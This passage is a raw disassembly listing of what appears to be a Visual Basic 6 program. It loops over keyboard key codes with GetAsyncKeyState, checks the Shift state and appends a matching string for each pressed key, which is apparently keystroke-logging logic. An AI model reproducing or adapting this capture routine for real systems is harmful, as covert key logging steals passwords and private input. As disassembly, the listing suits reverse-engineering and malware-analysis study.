    00406143fnclex
    00406145jge 0x406159
    00406147push 160
    0040614cpush 0x403038
    00406151push edi
    00406152push eax
    00406153call imp:msvbvm60!__vbaHresultCheckObj
    00406159
    00406159loc_406159:
    00406159mov eax, [ebp-36]
    0040615clea ecx, [ebp-64]
    0040615fmov [ebp-72], eax
    00406162mov eax, [ebp-24]
    00406165add eax, 32
    00406168mov [ebp-36], 0
    0040616fjo 0x409047
    00406175push eax
    00406176push ecx
    00406177mov [ebp-80], 8
    0040617ecall imp:msvbvm60!rtcVarBstrFromAnsi
    00406184mov edx, [ebp-192]
    0040618alea eax, [ebp-80]
    0040618dlea ecx, [ebp-64]
    00406190push eax
    00406191mov edi, [edx]
    00406193lea edx, [ebp-96]
    00406196push ecx
    00406197push edx
    00406198call imp:msvbvm60!__vbaVarCat
    0040619epush eax
    0040619flea eax, [ebp-40]
    004061a2push eax
    004061a3call imp:msvbvm60!__vbaStrVarVal
    004061a9mov ecx, edi
    004061abmov edi, [ebp-192]
    004061b1push eax
    004061b2push edi
    004061b3call [ecx+164]
    004061b9test eax, eax
    004061bbfnclex
    004061bdjge 0x4061d1
    004061bfpush 164
    004061c4push 0x403038
    004061c9push edi
    004061capush eax
    004061cbcall imp:msvbvm60!__vbaHresultCheckObj
    004061d1
    004061d1loc_4061d1:
    004061d1lea ecx, [ebp-40]
    004061d4call imp:msvbvm60!__vbaFreeStr
    004061dalea edx, [ebp-48]
    004061ddlea eax, [ebp-44]
    004061e0push edx
    004061e1push eax
    004061e2push 2
    004061e4call imp:msvbvm60!__vbaFreeObjList
    004061ealea ecx, [ebp-96]
    004061edlea edx, [ebp-64]
    004061f0push ecx
    004061f1lea eax, [ebp-80]
    004061f4push edx
    004061f5push eax
    004061f6
    004061f6loc_4061f6:
    004061f6push 3
    004061f8call imp:msvbvm60!__vbaFreeVarList
    004061feadd esp, 28
    00406201
    00406201loc_406201:
    00406201mov ecx, [ebp-24]
    00406204mov eax, 1
    00406209add eax, ecx
    0040620bjo 0x409047
    00406211mov [ebp-24], eax
    00406214mov ecx, eax
    00406216xor eax, eax
    00406218jmp 0x405fd0
    0040621d
    0040621dloc_40621d:
    0040621dmov ecx, 8
    00406222mov [ebp-208], 1
    0040622cmov [ebp-24], ecx
    0040622f
    0040622floc_40622f:
    0040622fmov edx, 222
    00406234cmp ecx, edx
    00406236jg 0x408de5
    0040623ccmp ecx, 65
    0040623fjne 0x406248
    00406241mov [ebp-24], 91
    00406248
    00406248loc_406248:
    00406248mov ecx, [ebp-24]
    0040624bpush ecx
    0040624ccall GetAsyncKeyState
    00406251mov edi, eax
    00406253call imp:msvbvm60!__vbaSetSystemError
    00406259movsx edx, di
    0040625cpush 16
    0040625emov [ebp-32], edx
    00406261call GetAsyncKeyState
    00406266mov edi, eax
    00406268call imp:msvbvm60!__vbaSetSystemError
    0040626ecmp [ebp-32], -32767
    00406275movsx edi, di
    00406278jne 0x408dc8
    0040627emov eax, [ebp-24]
    00406281add eax, -8
    00406284cmp eax, 214
    00406289ja 0x408dc8
    0040628fxor ecx, ecx
    00406291mov cl, [eax+0x408f70]
    00406297jmp [4*ecx+0x408e50]
    0040629emov edx, [esi]
    004062a0push esi
    004062a1call [edx+780]
    004062a7push eax
    004062a8lea eax, [ebp-48]
    004062abpush eax
    004062accall ebx
    004062aemov ecx, [esi]
    004062b0push esi
    004062b1mov [ebp-192], eax
    004062b7call [ecx+780]
    004062bdlea edx, [ebp-44]
    004062c0push eax
    004062c1push edx
    004062c2call ebx
    004062c4mov edi, eax
    004062c6lea ecx, [ebp-36]
    004062c9push ecx
    004062capush edi
    004062cbmov eax, [edi]
    004062cdcall [eax+160]
    004062d3test eax, eax
    004062d5fnclex
    004062d7jge 0x4062eb
    004062d9push 160
    004062depush 0x403038
    004062e3push edi
    004062e4push eax
    004062e5call imp:msvbvm60!__vbaHresultCheckObj
    004062eb
    004062ebloc_4062eb:
    004062ebmov eax, [ebp-36]
    004062eemov edx, [ebp-192]
    004062f4push eax
    004062f5push 0x403200
    004062famov edi, [edx]
    004062fccall imp:msvbvm60!__vbaStrCat
    00406302mov edx, eax
    00406304lea ecx, [ebp-40]
    00406307call imp:msvbvm60!__vbaStrMove
    0040630dmov ecx, edi
    0040630fmov edi, [ebp-192]
    00406315push eax
    00406316push edi
    00406317call [ecx+164]
    0040631dtest eax, eax
    0040631ffnclex
    00406321jge 0x406335
    00406323push 164
    00406328push 0x403038
    0040632dpush edi
    0040632epush eax
    0040632fcall imp:msvbvm60!__vbaHresultCheckObj
    00406335
    00406335loc_406335:
    00406335lea edx, [ebp-40]
    00406338lea eax, [ebp-36]
    0040633bpush edx
    0040633cpush eax
    0040633dpush 2
    0040633fcall imp:msvbvm60!__vbaFreeStrList
    00406345lea ecx, [ebp-48]
    00406348lea edx, [ebp-44]
    0040634bpush ecx
    0040634cpush edx
    0040634dpush 2
    0040634fcall imp:msvbvm60!__vbaFreeObjList
    00406355mov eax, [esi]
    00406357add esp, 24
    0040635apush esi
    0040635bcall [eax+780]
    00406361lea ecx, [ebp-48]
    00406364push eax
    00406365push ecx
    00406366call ebx
    00406368mov edx, [esi]
    0040636apush esi
    0040636bmov [ebp-192], eax
    00406371call [edx+780]
    00406377push eax
    00406378lea eax, [ebp-44]
    0040637bpush eax
    0040637ccall ebx
    0040637emov edi, eax
    00406380lea edx, [ebp-36]
    00406383push edx
    00406384push edi
    00406385mov ecx, [edi]
    00406387call [ecx+160]
    0040638dtest eax, eax
    0040638ffnclex
    00406391jge 0x4063a5
    00406393push 160
    00406398push 0x403038
    0040639dpush edi
    0040639epush eax
    0040639fcall imp:msvbvm60!__vbaHresultCheckObj
    004063a5
    004063a5loc_4063a5:
    004063a5mov ecx, [ebp-36]
    004063a8mov eax, [ebp-192]
    004063aepush ecx
    004063afpush 0x402f88
    004063b4mov edi, [eax]
    004063b6call imp:msvbvm60!__vbaStrCat
    004063bcmov edx, eax
    004063belea ecx, [ebp-40]
    004063c1call imp:msvbvm60!__vbaStrMove
    004063c7mov edx, edi
    004063c9mov edi, [ebp-192]
    004063cfpush eax
    004063d0push edi
    004063d1
    004063d1loc_4063d1:
    004063d1call [edx+164]
    004063d7test eax, eax
    004063d9fnclex
    004063dbjge 0x408c33
    004063e1jmp 0x408c21
    004063e6mov ecx, [esi]
    004063e8push esi
    004063e9call [ecx+780]
    004063eflea edx, [ebp-48]
    004063f2push eax
    004063f3push edx
    004063f4call ebx
    004063f6mov [ebp-192], eax
    004063fcmov eax, [esi]
    004063fepush esi
    004063ffcall [eax+780]
    00406405lea ecx, [ebp-44]
    00406408push eax
    00406409push ecx
    0040640acall ebx
    0040640cmov edi, eax
    0040640elea eax, [ebp-36]
    00406411push eax
    00406412push edi
    00406413mov edx, [edi]
    00406415call [edx+160]
    0040641btest eax, eax
    0040641dfnclex
    0040641fjge 0x406433
    00406421push 160
    00406426push 0x403038
    0040642bpush edi
    0040642cpush eax
    0040642dcall imp:msvbvm60!__vbaHresultCheckObj
    00406433
    00406433loc_406433:
    00406433mov edx, [ebp-36]
    00406436mov ecx, [ebp-192]
    0040643cpush edx
    0040643dpush 0x403218
    00406442mov edi, [ecx]
    00406444call imp:msvbvm60!__vbaStrCat
    0040644amov edx, eax
    0040644clea ecx, [ebp-40]
    0040644fcall imp:msvbvm60!__vbaStrMove
    00406455mov [ebp-336], edi
    0040645bmov edi, [ebp-192]
    00406461push eax
    00406462mov eax, [ebp-336]
    00406468push edi
    00406469
    00406469loc_406469:
    00406469call [eax+164]
    0040646ftest eax, eax
    00406471fnclex
    00406473jge 0x408cf1
    00406479jmp 0x408cdf
    0040647emov edx, [esi]
    00406480push esi
    00406481call [edx+780]
    00406487push eax
    00406488lea eax, [ebp-48]
    0040648bpush eax
    0040648ccall ebx
    0040648emov ecx, [esi]
    00406490push esi
    00406491mov [ebp-192], eax
    00406497call [ecx+780]
    0040649dlea edx, [ebp-44]
    004064a0push eax
    004064a1push edx
    004064a2call ebx
    004064a4mov edi, eax
    004064a6lea ecx, [ebp-36]
    004064a9push ecx
    004064aapush edi
    004064abmov eax, [edi]
    004064adcall [eax+160]
    004064b3test eax, eax
    004064b5fnclex
    004064b7jge 0x4064cb
    004064b9push 160
    004064bepush 0x403038
    004064c3push edi
    004064c4push eax
    004064c5call imp:msvbvm60!__vbaHresultCheckObj
    004064cb
    004064cbloc_4064cb:
    004064cbmov eax, [ebp-36]
    004064cemov edx, [ebp-192]
    004064d4push eax
    004064d5push 0x403220
    004064damov edi, [edx]
    004064dccall imp:msvbvm60!__vbaStrCat
    004064e2mov edx, eax
    004064e4lea ecx, [ebp-40]
    004064e7call imp:msvbvm60!__vbaStrMove
    004064edmov ecx, edi
    004064efmov edi, [ebp-192]
    004064f5push eax
    004064f6push edi
    004064f7jmp 0x408b87
    004064fcmov eax, [esi]
    004064fepush esi
    004064ffcall [eax+780]
    00406505lea ecx, [ebp-48]
    00406508push eax
    00406509push ecx
    0040650acall ebx
    0040650cmov edx, [esi]
    0040650epush esi
    0040650fmov [ebp-192], eax
    00406515call [edx+780]
    0040651bpush eax
    0040651clea eax, [ebp-44]
    0040651fpush eax
    00406520call ebx
    00406522mov edi, eax
    00406524lea edx, [ebp-36]
    00406527push edx
    00406528push edi
    00406529mov ecx, [edi]
    0040652bcall [ecx+160]
    00406531test eax, eax
    00406533fnclex
    00406535jge 0x406549
    00406537push 160
    0040653cpush 0x403038
    00406541push edi
    00406542push eax
    00406543call imp:msvbvm60!__vbaHresultCheckObj
    00406549
    00406549loc_406549:
    00406549mov ecx, [ebp-36]
    0040654cmov eax, [ebp-192]
    00406552push ecx
    00406553push 0x403228
    00406558mov edi, [eax]
    0040655acall imp:msvbvm60!__vbaStrCat
    00406560mov edx, eax
    00406562lea ecx, [ebp-40]
    00406565call imp:msvbvm60!__vbaStrMove
    0040656bmov edx, edi
    0040656dmov edi, [ebp-192]
    00406573push eax
    00406574push edi
    00406575jmp 0x4063d1
    0040657amov ecx, [esi]
    0040657cpush esi
    0040657dcall [ecx+780]
    00406583lea edx, [ebp-48]
    00406586push eax
    00406587push edx
    00406588call ebx
    0040658amov [ebp-192], eax
    00406590mov eax, [esi]
    00406592push esi
    00406593call [eax+780]
    00406599lea ecx, [ebp-44]
    0040659cpush eax
    0040659dpush ecx
    0040659ecall ebx
    004065a0mov edi, eax
    004065a2lea eax, [ebp-36]
    004065a5push eax
    004065a6push edi
    004065a7mov edx, [edi]
    004065a9call [edx+160]
    004065aftest eax, eax
    004065b1fnclex
    004065b3jge 0x4065c7
    004065b5push 160
    004065bapush 0x403038
    004065bfpush edi
    004065c0push eax
    004065c1call imp:msvbvm60!__vbaHresultCheckObj
    004065c7
    004065c7loc_4065c7:
    004065c7mov edx, [ebp-36]
    004065camov ecx, [ebp-192]
    004065d0push edx
    004065d1push 0x403230
    004065d6mov edi, [ecx]
    004065d8call imp:msvbvm60!__vbaStrCat
    004065demov edx, eax
    004065e0lea ecx, [ebp-40]
    004065e3call imp:msvbvm60!__vbaStrMove
    004065e9mov [ebp-348], edi
    004065efmov edi, [ebp-192]
    004065f5push eax
    004065f6mov eax, [ebp-348]
    004065fcpush edi
    004065fdjmp 0x406469
    00406602mov edx, [esi]
    00406604push esi
    00406605call [edx+780]
    0040660bpush eax
    0040660clea eax, [ebp-48]
    0040660fpush eax
    00406610call ebx
    00406612mov ecx, [esi]
    00406614push esi
    00406615mov [ebp-192], eax
    0040661bcall [ecx+780]
    00406621lea edx, [ebp-44]
    00406624push eax
    00406625push edx
    00406626call ebx
    00406628mov edi, eax
    0040662alea ecx, [ebp-36]
    0040662dpush ecx
    0040662epush edi
    0040662fmov eax, [edi]
    00406631call [eax+160]
    00406637test eax, eax
    00406639fnclex
    0040663bjge 0x40664f
    0040663dpush 160
    00406642push 0x403038
    00406647push edi
    00406648push eax
    00406649call imp:msvbvm60!__vbaHresultCheckObj
    0040664f
    0040664floc_40664f:
    0040664fmov eax, [ebp-36]
    00406652mov edx, [ebp-192]
    00406658push eax
    00406659push 0x403238
    0040665emov edi, [edx]
    00406660call imp:msvbvm60!__vbaStrCat
    00406666mov edx, eax
    00406668lea ecx, [ebp-40]
    0040666bcall imp:msvbvm60!__vbaStrMove
    00406671mov ecx, edi
    00406673mov edi, [ebp-192]
    00406679push eax
    0040667apush edi
    0040667bjmp 0x408b87
    00406680mov eax, [esi]
    00406682push esi
    00406683call [eax+780]
    00406689lea ecx, [ebp-48]
    0040668cpush eax
    0040668dpush ecx
    0040668ecall ebx
    00406690mov edx, [esi]
    00406692push esi
    00406693mov [ebp-192], eax
    00406699call [edx+780]
    0040669fpush eax
    004066a0lea eax, [ebp-44]
    004066a3push eax
    004066a4call ebx
    004066a6mov edi, eax
    004066a8lea edx, [ebp-36]
    004066abpush edx
    004066acpush edi
    004066admov ecx, [edi]
    004066afcall [ecx+160]
    004066b5test eax, eax
    004066b7fnclex
    004066b9jge 0x4066cd
    004066bbpush 160
    004066c0push 0x403038
    004066c5push edi
    004066c6push eax
    004066c7call imp:msvbvm60!__vbaHresultCheckObj
    004066cd
    004066cdloc_4066cd:
    004066cdmov ecx, [ebp-36]
    004066d0mov eax, [ebp-192]
    004066d6push ecx
    004066d7push 0x403240
    004066dcmov edi, [eax]
    004066decall imp:msvbvm60!__vbaStrCat
    004066e4mov edx, eax
    004066e6lea ecx, [ebp-40]
    004066e9call imp:msvbvm60!__vbaStrMove
    004066efmov edx, edi
    004066f1mov edi, [ebp-192]
    004066f7push eax
    004066f8push edi
    004066f9jmp 0x4063d1
    004066femov ecx, [esi]
    00406700push esi
    00406701call [ecx+780]
    00406707lea edx, [ebp-48]
    0040670apush eax
    0040670bpush edx
    0040670ccall ebx
    0040670emov [ebp-192], eax
    00406714mov eax, [esi]
    00406716push esi
    00406717call [eax+780]
    0040671dlea ecx, [ebp-44]
    00406720push eax
    00406721push ecx
    00406722call ebx
    00406724mov edi, eax
    00406726lea eax, [ebp-36]
    00406729push eax
    0040672apush edi
    0040672bmov edx, [edi]
    0040672dcall [edx+160]
    00406733test eax, eax
    00406735fnclex
    00406737jge 0x40674b
    00406739push 160
    0040673epush 0x403038
    00406743push edi
    00406744push eax
    00406745call imp:msvbvm60!__vbaHresultCheckObj
    0040674b
    0040674bloc_40674b:
    0040674bmov edx, [ebp-36]
    0040674emov ecx, [ebp-192]
    00406754push edx
    00406755push 0x403248
    0040675amov edi, [ecx]
    0040675ccall imp:msvbvm60!__vbaStrCat
    00406762mov edx, eax
    00406764lea ecx, [ebp-40]
    00406767call imp:msvbvm60!__vbaStrMove
    0040676dmov [ebp-360], edi
    00406773mov edi, [ebp-192]
    00406779push eax
    0040677amov eax, [ebp-360]
    00406780push edi
    00406781jmp 0x406469
    00406786mov edx, [esi]
    00406788push esi
    00406789call [edx+780]
    0040678fpush eax
    00406790lea eax, [ebp-48]
    00406793push eax
    00406794call ebx
    00406796mov ecx, [esi]
    00406798push esi
    00406799mov [ebp-192], eax
    0040679fcall [ecx+780]
    004067a5lea edx, [ebp-44]
    004067a8push eax
    004067a9push edx
    004067aacall ebx
    004067acmov edi, eax
    004067aelea ecx, [ebp-36]
    004067b1push ecx
    004067b2push edi
    004067b3mov eax, [edi]
    004067b5call [eax+160]
    004067bbtest eax, eax
    004067bdfnclex
    004067bfjge 0x4067d3
    004067c1push 160
    004067c6push 0x403038
    004067cbpush edi
    004067ccpush eax
    004067cdcall imp:msvbvm60!__vbaHresultCheckObj
    004067d3
    004067d3loc_4067d3:
    004067d3mov eax, [ebp-36]
    004067d6mov edx, [ebp-192]
    004067dcpush eax
    004067ddpush 0x403250
    004067e2mov edi, [edx]
    004067e4call imp:msvbvm60!__vbaStrCat
    004067eamov edx, eax
    004067eclea ecx, [ebp-40]
    004067efcall imp:msvbvm60!__vbaStrMove
    004067f5mov ecx, edi
    004067f7mov edi, [ebp-192]
    004067fdpush eax
    004067fepush edi
    004067ffjmp 0x408b87
    00406804mov eax, [esi]
    00406806push esi
    00406807call [eax+780]
    0040680dlea ecx, [ebp-48]
    00406810push eax
    00406811push ecx
    00406812call ebx
    00406814mov edx, [esi]
    00406816push esi
    00406817mov [ebp-192], eax
    0040681dcall [edx+780]
    00406823push eax
    00406824lea eax, [ebp-44]
    00406827push eax
    00406828call ebx
    0040682amov edi, eax
    0040682clea edx, [ebp-36]
    0040682fpush edx
    00406830push edi
    00406831mov ecx, [edi]
    00406833call [ecx+160]
    00406839test eax, eax
    0040683bfnclex
    0040683djge 0x406851
    0040683fpush 160
    00406844push 0x403038
    00406849push edi
    0040684apush eax
    0040684bcall imp:msvbvm60!__vbaHresultCheckObj
    00406851
    00406851loc_406851:
    00406851mov ecx, [ebp-36]
    00406854mov eax, [ebp-192]
    0040685apush ecx
    0040685bpush 0x403258
    00406860mov edi, [eax]
    00406862call imp:msvbvm60!__vbaStrCat
    00406868mov edx, eax
    0040686alea ecx, [ebp-40]
    0040686dcall imp:msvbvm60!__vbaStrMove
    00406873mov edx, edi
    00406875mov edi, [ebp-192]
    0040687bpush eax
    0040687cpush edi
    0040687djmp 0x4063d1
    00406882mov ecx, [esi]
    00406884push esi
    00406885call [ecx+780]
    0040688blea edx, [ebp-48]
    0040688epush eax
    0040688fpush edx
    00406890call ebx
    00406892mov [ebp-192], eax
    00406898mov eax, [esi]
    0040689apush esi
    0040689bcall [eax+780]
    004068a1lea ecx, [ebp-44]
    004068a4push eax
    004068a5push ecx
    004068a6call ebx
    004068a8mov edi, eax
    004068aalea eax, [ebp-36]
    004068adpush eax
    004068aepush edi
    004068afmov edx, [edi]
    004068b1call [edx+160]
    004068b7test eax, eax
    004068b9fnclex
    004068bbjge 0x4068cf
    004068bdpush 160
    004068c2push 0x403038
    004068c7push edi
    004068c8push eax
    004068c9call imp:msvbvm60!__vbaHresultCheckObj
    004068cf
    004068cfloc_4068cf:
    004068cfmov edx, [ebp-36]
    004068d2mov ecx, [ebp-192]
    004068d8push edx
    004068d9push 0x403260
    004068demov edi, [ecx]
    004068e0call imp:msvbvm60!__vbaStrCat
    004068e6mov edx, eax
    004068e8lea ecx, [ebp-40]
    004068ebcall imp:msvbvm60!__vbaStrMove
    004068f1mov [ebp-372], edi
    004068f7mov edi, [ebp-192]
    004068fdpush eax
    004068femov eax, [ebp-372]
    00406904push edi
    00406905jmp 0x406469
    0040690amov edx, [esi]
    0040690cpush esi
    0040690dcall [edx+780]
    00406913push eax
    00406914lea eax, [ebp-48]
    00406917push eax
    00406918call ebx
    0040691amov ecx, [esi]
    0040691cpush esi
    0040691dmov [ebp-192], eax
    00406923call [ecx+780]
    00406929lea edx, [ebp-44]
    0040692cpush eax
    0040692dpush edx
    0040692ecall ebx
    00406930mov edi, eax
    00406932lea ecx, [ebp-36]
    00406935push ecx
    00406936push edi
    00406937mov eax, [edi]
    00406939call [eax+160]
    0040693ftest eax, eax
    00406941fnclex
    00406943jge 0x406957
    00406945push 160
    0040694apush 0x403038
    0040694fpush edi
    00406950push eax
    00406951call imp:msvbvm60!__vbaHresultCheckObj
    00406957
    00406957loc_406957:
    00406957mov eax, [ebp-36]
    0040695amov edx, [ebp-192]
    00406960push eax
    00406961push 0x403268
    00406966mov edi, [edx]
    00406968call imp:msvbvm60!__vbaStrCat
    0040696emov edx, eax
    00406970lea ecx, [ebp-40]
    00406973call imp:msvbvm60!__vbaStrMove
    00406979mov ecx, edi
    0040697bmov edi, [ebp-192]
    00406981push eax
    00406982push edi
    00406983jmp 0x408b87
    00406988mov eax, [esi]
    0040698apush esi
    0040698bcall [eax+780]
    00406991lea ecx, [ebp-48]
    00406994push eax
    00406995push ecx
    00406996call ebx
    00406998mov edx, [esi]
    0040699apush esi
    0040699bmov [ebp-192], eax
    004069a1call [edx+780]
    004069a7push eax
    004069a8lea eax, [ebp-44]
    004069abpush eax
    004069accall ebx
    004069aemov edi, eax
    004069b0lea edx, [ebp-36]
    004069b3push edx
    004069b4push edi
    004069b5mov ecx, [edi]
    004069b7call [ecx+160]
    004069bdtest eax, eax
    004069bffnclex
    004069c1jge 0x4069d5
    004069c3push 160
    004069c8push 0x403038
    004069cdpush edi
    004069cepush eax
    004069cfcall imp:msvbvm60!__vbaHresultCheckObj
    004069d5
    004069d5loc_4069d5:
    004069d5mov ecx, [ebp-36]
    004069d8mov eax, [ebp-192]
    004069depush ecx
    004069dfpush 0x403270
    004069e4mov edi, [eax]
    004069e6call imp:msvbvm60!__vbaStrCat
    004069ecmov edx, eax
    004069eelea ecx, [ebp-40]
    004069f1call imp:msvbvm60!__vbaStrMove
    004069f7mov edx, edi
    004069f9mov edi, [ebp-192]
    004069ffpush eax
    00406a00push edi
    00406a01jmp 0x4063d1
    00406a06mov ecx, [esi]
    00406a08push esi
    00406a09call [ecx+780]
    00406a0flea edx, [ebp-48]
    00406a12push eax
    00406a13push edx
    00406a14call ebx
    00406a16mov [ebp-192], eax
    00406a1cmov eax, [esi]
    00406a1epush esi
    00406a1fcall [eax+780]
    00406a25lea ecx, [ebp-44]
    00406a28push eax
    00406a29push ecx
    00406a2acall ebx
    00406a2cmov edi, eax
    00406a2elea eax, [ebp-36]
    00406a31push eax
    00406a32push edi
    00406a33mov edx, [edi]
    00406a35call [edx+160]
    00406a3btest eax, eax
    00406a3dfnclex
    00406a3fjge 0x406a53
    00406a41push 160
    00406a46push 0x403038
    00406a4bpush edi
    00406a4cpush eax
    00406a4dcall imp:msvbvm60!__vbaHresultCheckObj
    00406a53
    00406a53loc_406a53:
    00406a53mov edx, [ebp-36]
    00406a56mov ecx, [ebp-192]
    00406a5cpush edx
    00406a5dpush 0x403278
    00406a62mov edi, [ecx]
    00406a64call imp:msvbvm60!__vbaStrCat
    00406a6amov edx, eax
    00406a6clea ecx, [ebp-40]
    00406a6fcall imp:msvbvm60!__vbaStrMove
    00406a75mov [ebp-384], edi
    00406a7bmov edi, [ebp-192]
    00406a81push eax
    00406a82mov eax, [ebp-384]
    00406a88push edi
    00406a89jmp 0x406469
    00406a8emov edx, [esi]
    00406a90push esi
    00406a91call [edx+780]
    00406a97push eax
    00406a98lea eax, [ebp-48]
    00406a9bpush eax
    00406a9ccall ebx
    00406a9emov ecx, [esi]
    00406aa0push esi
    00406aa1mov [ebp-192], eax
    00406aa7call [ecx+780]
    00406aadlea edx, [ebp-44]
    00406ab0push eax
    00406ab1push edx
    00406ab2call ebx
    00406ab4mov edi, eax
    00406ab6lea ecx, [ebp-36]
    00406ab9push ecx
    00406abapush edi
    00406abbmov eax, [edi]
    00406abdcall [eax+160]
    00406ac3test eax, eax
    00406ac5fnclex
    00406ac7jge 0x406adb
    00406ac9push 160
    00406acepush 0x403038
    00406ad3push edi
    00406ad4push eax
    00406ad5call imp:msvbvm60!__vbaHresultCheckObj
    00406adb
    00406adbloc_406adb:
    00406adbmov eax, [ebp-36]
    00406ademov edx, [ebp-192]
    00406ae4push eax
    00406ae5push 0x403280
    00406aeamov edi, [edx]
    00406aeccall imp:msvbvm60!__vbaStrCat
    00406af2mov edx, eax
    00406af4lea ecx, [ebp-40]
    00406af7call imp:msvbvm60!__vbaStrMove
    00406afdmov ecx, edi
    00406affmov edi, [ebp-192]
    00406b05push eax
    00406b06push edi
    00406b07jmp 0x408b87
    00406b0cmov eax, [esi]
    00406b0epush esi
    00406b0fcall [eax+780]
    00406b15lea ecx, [ebp-48]
    00406b18push eax
    00406b19push ecx
    00406b1acall ebx
    00406b1cmov edx, [esi]
    00406b1epush esi
    00406b1fmov [ebp-192], eax
    00406b25call [edx+780]
    00406b2bpush eax
    00406b2clea eax, [ebp-44]
    00406b2fpush eax
    00406b30call ebx
    00406b32mov edi, eax
    00406b34lea edx, [ebp-36]
    00406b37push edx
    00406b38push edi
    00406b39mov ecx, [edi]
    00406b3bcall [ecx+160]
    00406b41test eax, eax
    00406b43fnclex
    00406b45jge 0x406b59
    00406b47push 160
    00406b4cpush 0x403038
    00406b51push edi
    00406b52push eax
    00406b53call imp:msvbvm60!__vbaHresultCheckObj
    00406b59
    00406b59loc_406b59:
    00406b59mov ecx, [ebp-36]
    00406b5cmov eax, [ebp-192]
    00406b62push ecx
    00406b63push 0x40314c
    00406b68mov edi, [eax]
    00406b6acall imp:msvbvm60!__vbaStrCat
    00406b70mov edx, eax
    00406b72lea ecx, [ebp-40]
    00406b75call imp:msvbvm60!__vbaStrMove
    00406b7bmov edx, edi
    00406b7dmov edi, [ebp-192]
    00406b83push eax
    00406b84push edi
    00406b85jmp 0x4063d1
    00406b8amov ecx, [esi]
    00406b8cpush esi
    00406b8dcall [ecx+780]
    00406b93lea edx, [ebp-48]
    00406b96push eax
    00406b97push edx
    00406b98call ebx
    00406b9amov [ebp-192], eax
    00406ba0mov eax, [esi]
    00406ba2push esi
    00406ba3call [eax+780]
    00406ba9lea ecx, [ebp-44]
    00406bacpush eax
    00406badpush ecx
    00406baecall ebx
    00406bb0mov edx, [eax]
    00406bb2lea ecx, [ebp-36]
    00406bb5push ecx
    00406bb6push eax
    00406bb7mov [ebp-184], eax
    00406bbdcall [edx+160]
    00406bc3test eax, eax
    00406bc5fnclex
    00406bc7jge 0x406be1
    00406bc9mov edx, [ebp-184]
    00406bcfpush 160
    00406bd4push 0x403038
    00406bd9push edx
    00406bdapush eax
    00406bdbcall imp:msvbvm60!__vbaHresultCheckObj
    00406be1
    00406be1loc_406be1:
    00406be1mov eax, [ebp-36]
    00406be4lea edx, [ebp-176]
    00406beamov [ebp-104], eax
    00406bedmov eax, 8
    00406bf2lea ecx, [ebp-80]
    00406bf5mov [ebp-36], 0
    00406bfcmov [ebp-112], eax
    00406bffmov [ebp-168], 0x403218
    00406c09mov [ebp-176], eax
    00406c0fcall imp:msvbvm60!__vbaVarDup
    00406c15mov [ebp-152], 0x403288
    00406c1f
    00406c1floc_406c1f:
    00406c1flea edx, [ebp-160]
    00406c25lea ecx, [ebp-64]
    00406c28mov [ebp-160], 8
    00406c32call imp:msvbvm60!__vbaVarDup
    00406c38xor eax, eax
    00406c3acmp edi, -32768
    00406c40sete al
    00406c43neg eax
    00406c45lea ecx, [ebp-80]
    00406c48mov [ebp-136], ax
    00406c4flea edx, [ebp-64]
    00406c52push ecx
    00406c53lea eax, [ebp-144]
    00406c59push edx
    00406c5alea ecx, [ebp-96]
    00406c5dpush eax
    00406c5epush ecx
    00406c5fmov [ebp-144], 11
    00406c69call imp:msvbvm60!rtcImmediateIf
    00406c6fmov edx, [ebp-192]
    00406c75lea eax, [ebp-112]
    00406c78lea ecx, [ebp-96]
    00406c7bpush eax
    00406c7cmov edi, [edx]
    00406c7elea edx, [ebp-128]
    00406c81push ecx
    00406c82push edx
    00406c83call imp:msvbvm60!__vbaVarCat
    00406c89push eax
    00406c8alea eax, [ebp-40]
    00406c8dpush eax
    00406c8ecall imp:msvbvm60!__vbaStrVarVal
    00406c94mov ecx, [ebp-192]
    00406c9apush eax
    00406c9bpush ecx
    00406c9ccall [edi+164]
    00406ca2test eax, eax
    00406ca4fnclex
    00406ca6jge 0x4081b2
    00406cacjmp 0x40819a
    00406cb1mov edx, [esi]
    00406cb3push esi
    00406cb4call [edx+780]
    00406cbapush eax
    00406cbblea eax, [ebp-48]
    00406cbepush eax
    00406cbfcall ebx
    00406cc1mov ecx, [esi]
    00406cc3push esi
    00406cc4mov [ebp-192], eax
    00406ccacall [ecx+780]
    00406cd0lea edx, [ebp-44]
    00406cd3push eax
    00406cd4push edx
    00406cd5call ebx
    00406cd7mov ecx, [eax]
    00406cd9lea edx, [ebp-36]
    00406cdcpush edx
    00406cddpush eax
    00406cdemov [ebp-184], eax
    00406ce4call [ecx+160]
    00406ceatest eax, eax
    00406cecfnclex
    00406ceejge 0x406d08
    00406cf0mov ecx, [ebp-184]
    00406cf6push 160
    00406cfbpush 0x403038
    00406d00push ecx
    00406d01push eax
    00406d02call imp:msvbvm60!__vbaHresultCheckObj
    00406d08
    00406d08loc_406d08:
    00406d08mov eax, [ebp-36]
    00406d0blea edx, [ebp-176]
    00406d11mov [ebp-104], eax
    00406d14mov eax, 8
    00406d19lea ecx, [ebp-80]
    00406d1cmov [ebp-36], 0
    00406d23mov [ebp-112], eax
    00406d26mov [ebp-168], 0x403220
    00406d30mov [ebp-176], eax
    00406d36call imp:msvbvm60!__vbaVarDup
    00406d3clea edx, [ebp-160]
    00406d42lea ecx, [ebp-64]
    00406d45mov [ebp-152], 0x403290
    00406d4fmov [ebp-160], 8
    00406d59call imp:msvbvm60!__vbaVarDup
    00406d5fxor edx, edx
    00406d61cmp edi, -32768
    00406d67sete dl
    00406d6aneg edx
    00406d6clea eax, [ebp-80]
    00406d6fmov [ebp-136], dx
    00406d76lea ecx, [ebp-64]
    00406d79push eax
    00406d7alea edx, [ebp-144]
    00406d80push ecx
    00406d81lea eax, [ebp-96]
    00406d84push edx
    00406d85push eax
    00406d86mov [ebp-144], 11
    00406d90call imp:msvbvm60!rtcImmediateIf
    00406d96mov ecx, [ebp-192]
    00406d9clea edx, [ebp-112]
    00406d9flea eax, [ebp-96]
    00406da2push edx
    00406da3mov edi, [ecx]
    00406da5lea ecx, [ebp-128]
    00406da8push eax
    00406da9push ecx
    00406daacall imp:msvbvm60!__vbaVarCat
    00406db0lea edx, [ebp-40]
    00406db3push eax
    00406db4push edx
    00406db5call imp:msvbvm60!__vbaStrVarVal
    00406dbbpush eax
    00406dbcmov eax, [ebp-192]
    00406dc2push eax
    00406dc3call [edi+164]
    00406dc9test eax, eax
    00406dcbfnclex
    00406dcdjge 0x406de7
    00406dcf
    00406dcfloc_406dcf:
    00406dcfmov ecx, [ebp-192]
    00406dd5push 164
    00406ddapush 0x403038
    00406ddfpush ecx
    00406de0push eax
    00406de1call imp:msvbvm60!__vbaHresultCheckObj
    00406de7
    00406de7loc_406de7:
    00406de7lea ecx, [ebp-40]
